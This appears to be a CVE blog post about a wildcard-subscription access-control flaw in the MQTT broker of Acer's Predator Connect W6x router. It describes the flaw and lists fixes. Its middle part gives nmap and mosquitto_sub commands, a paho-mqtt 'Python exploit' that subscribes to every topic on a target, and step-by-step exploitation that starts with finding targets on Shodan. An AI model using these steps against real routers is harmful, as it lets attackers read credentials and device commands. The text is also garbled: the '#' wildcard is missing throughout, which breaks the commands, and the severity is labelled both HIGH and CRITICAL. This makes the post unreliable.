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CVE-2026-49198 is an improper access control vulnerability in the MQTT broker of Acer’s Predator Connect W6x router. The MQTT protocol uses topic‑based publish/subscribe messaging. Topic filters can contain two wildcard characters: `+` (single‑level wildcard) and (multi‑level wildcard). For example, subscribing to `sensors/+/temperature` matches all devices’ temperature readings, while matches every topic on the broker.
In a secure MQTT implementation, the broker must validate that a client is authorised to subscribe to any topic that matches the wildcard pattern. The flaw in CVE‑2026‑49198 is that the Acer MQTT broker does not perform any access‑control check when a client attempts to subscribe using wildcards. The broker simply evaluates the wildcard filter without verifying whether the client has permission to receive messages from those topics.
An unauthenticated or low‑privileged attacker can exploit this by sending a standard MQTT SUBSCRIBE packet containing the single‑character wildcard . The broker accepts the subscription and begins forwarding all MQTT traffic passing through the router – including telemetry, command & control messages, authentication tokens, and sensitive device data.
This effectively turns the broker into a full network sniffer for all MQTT‑based communication. Because MQTT is often used in IoT, industrial control, and smart‑home deployments, the exposed traffic can contain critical operational commands, passwords, and private device information.
The vulnerability is tracked as CWE‑284 (Improper Access Control) and has been assigned the following CVSS v4.0 metrics:
<h2 style="color: blue;">CVSS v4.0 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N`</h2>
<h2 style="color: blue;">Base Score: 8.3 · HIGH</h2>
The flaw is remotely exploitable over the network, requires low attack complexity, no user interaction, and only low‑privileged access. It leads to a high impact on confidentiality (both system and subsequent confidentiality).
The affected product is Acer Predator Connect W6x running firmware versions prior to W6x_GBL_2.00.000008. The vulnerability was published by Acer on 2026‑05‑29 and the last modification was logged on 2026‑06‑08.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: Acer Predator Connect W6x
Version: Firmware < W6x_GBL_2.00.000008
Vulnerability: Improper Access Control
Severity: CRITICAL (CVSS 8.3)
date: 2026‑05‑29
<h2 style="color: blue;">Prediction: 2026‑06‑15</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
Check if MQTT port is open (default 1883) nmap -p 1883 <target_router_ip> Attempt to subscribe to all topics using mosquitto_sub mosquitto_sub -h <target_router_ip> -p 1883 -t "" -v If anonymous access is disabled, try with low‑privilege credentials mosquitto_sub -h <target_router_ip> -p 1883 -t "" -u "user" -P "pass" -v Use mqtt-spy or MQTT Explorer with wildcard subscription mqtt-spy -h <target_router_ip> -p 1883 -t ""
<h2 style="color: blue;">Python exploit using paho‑mqtt:</h2>
import paho.mqtt.client as mqtt
def on_message(client, userdata, msg):
print(f"Topic: {msg.topic} -> Payload: {msg.payload}")
client = mqtt.Client()
client.username_pw_set("attacker", "weakpass")
client.connect("<target_router_ip>", 1883)
client.subscribe("")
client.on_message = on_message
client.loop_forever()
<h2 style="color: blue;">Analytics:</h2>
- The broker does not check any ACL before processing a `SUBSCRIBE` packet containing `+` or.
– Attackers can immediately receive all messages from the moment the subscription is accepted.
– No log entry is generated for unauthorised wildcard subscriptions in vulnerable firmware versions.
Exploit:
- Identify the target Acer Predator Connect W6x router (e.g., via Shodan or local network scan).
- Connect to its MQTT broker on port 1883 (or alternative configured port).
- Send a standard MQTT `SUBSCRIBE` packet with the topic filter set to “.
- The broker accepts the subscription without any authorisation check.
- The attacker begins receiving all messages published to any topic on the broker, including command channels, device telemetry, and authentication material.
- Using the captured traffic, the attacker can manipulate device states, extract credentials, or pivot to other systems that rely on the MQTT bus.
Protection:
– Upgrade to firmware version W6x_GBL_2.00.000008 or later.
– If upgrade is not possible, disable the MQTT broker entirely (if not required).
– Implement strict ACLs that explicitly deny wildcard subscriptions for all untrusted clients.
– Require client‑level authentication and authorisation – never accept wildcards from unauthenticated or low‑privilege users.
– Monitor MQTT subscription logs for “ or `+` patterns and alert on any unauthorised attempts.
– Segment the network so that the MQTT broker is only accessible from trusted subnets, not directly from WAN or guest networks.
Impact:
- Full disclosure of all MQTT‑based traffic – attackers can read every message exchanged via the router.
- Interception of sensitive data – telemetry, control commands, firmware updates, and possibly credentials transmitted over MQTT.
- Man‑in‑the‑middle (MitM) capability – by capturing and later replaying or modifying messages, an attacker can inject false commands into IoT/IIoT devices.
- Lateral movement – MQTT often acts as a backbone for smart environments; full traffic visibility may reveal other vulnerable systems or services.
- Long‑term surveillance – because the subscription stays active indefinitely, the attacker can passively monitor all future communications without further interaction.
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Sources:
Reported By: nvd.nist.gov
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